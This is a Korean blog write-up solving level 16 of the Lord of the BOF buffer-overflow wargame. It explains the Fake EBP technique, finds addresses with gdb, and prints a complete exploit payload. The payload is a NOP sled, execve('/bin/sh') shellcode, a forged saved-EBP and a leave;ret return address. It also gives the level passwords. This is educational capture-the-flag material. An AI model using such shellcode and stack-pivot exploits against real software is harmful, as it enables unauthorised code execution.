일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 홍대 토라비
- apollo react native
- 금별맥주
- 비동기배열
- graphql
- 잠실새내 도그존
- graphql 400
- graphql mutation error
- apolloclient
- 고르드
- 비동기배열처리방법
- graphql with RN
- 화이트 해커를 위한 웹 해킹의 기술
- 홍대 예술
- promise메서드
- 홍대 카페 장쌤
- 앙버터마카롱
- useMutation error
- typescript
- 지보싶 신촌점
- graphql react native
- promise처리
- 잠실새내
- 토라비
- 화이트해커를 위한 웹 해킹의 기술
- 신촌 소문난집
- 도그존
- 예쁜술집 예술
- graphql with reactnative
- 운정 소바동
- Today
- Total
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
LOB 16번 풀이 (assassin) 본문
id: assassin
pw: pushing me away
/*
The Lord of the BOF : The Fellowship of the BOF
- zombie_assassin
- FEBP
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
// strncpy instead of strcpy!
strncpy(buffer, argv[1], 48);
printf("%s\n", buffer);
}
- stack, library 영역 ret 주소로 사용 불가
- strncpy 길이 제한
- 힌트: FEBP
이번에도 이전 문제와 마찬가지로 code영역을 ret 주소에 넣어주어야할 듯 하다.
그런데 이번에는 48바이트만 받아들이기 때문에 ret를 명령어로 넣을 수는 없다.
그럼 다른 명령어를 넣어야한다.
힌트에 FEBP 라고 적혀있는데 FEBP는 Fake EBP를 말한다.
FEBP (Fake EBP)
ebp 값을 변조하고 return address에 leave, ret 코드 주소를 넣어준 후에 leave와 ret가 실행되면 변조한 ebp 값으로 leave와 ret가 이루어지는 공격 기법이다.
ebp를 변조하는 방법은 이전에 풀었던 문제 12번 (golem)을 참조하면 좋을 것 같다.
FEBP를 바탕으로 ret에 leave 코드의 주소를 넣어주자!
그리고 buffer에 쉘 코드를 넣고 sfp에는 buffer의 시작주소를 담고 있는 값의 주소를 넣어주자.
먼저 gdb를 이용해서 leave 코드 주소를 가져오자
leave 코드의 주소는 0x080484df
이제 buffer 주소를 담고 있는 값의 주소를 찾아야한다. (eip가 buffer로 이동하기 위해)
gdb에서 buffer 주소와 해당 주소를 담고 있는 위치를 찾아보자
buffer 시작 주소는 파란색 박스로 0xbffffaa0 이다.
그런데 buffer 바로 앞 4바이트에서 0xbffffaa0 를 값으로 갖고 있다.
따라서 해당 주소 0xbffffa9c가 eip에 넣어져야하는 주소가 된다!
그런데 eip에 0xbffffa9c가 들어가려면 sfp에는 0xbffffa9c - 4를 한 0xbffffa98 이 값으로 들어가야 한다.
(leave는 mov esp,ebp pop ebp 로 이루어져 있기 때문에 ret에서 pop eip에 0xbffffa9c가 들어가려면 pop ebp에는 0xbffffa9c - 4인 0xbffffa98이 들어가야 pop ebp후 eip에 0xbffffa9c가 들어갈 수 있다. - 2020/12/30 - [wargame 풀이/LOB] - LOB 12번 풀이 (golem))
따라서 payload는 다음과 같아진다.
payload: ./zombie_assassin `python -c 'print "\x90"*15+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x98\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`
zombie_assassin의 pw: "no place to hide"
'wargame 풀이 > LOB' 카테고리의 다른 글
LOB 18번 풀이 (succubus) (0) | 2021.01.04 |
---|---|
LOB 17번 풀이 (zombie_assassin) (0) | 2021.01.03 |
LOB 15번 풀이 (giant) (0) | 2021.01.01 |
LOB 14번 풀이 (bugbear) (0) | 2020.12.31 |
LOB 13번 풀이 (darkknight) (0) | 2020.12.30 |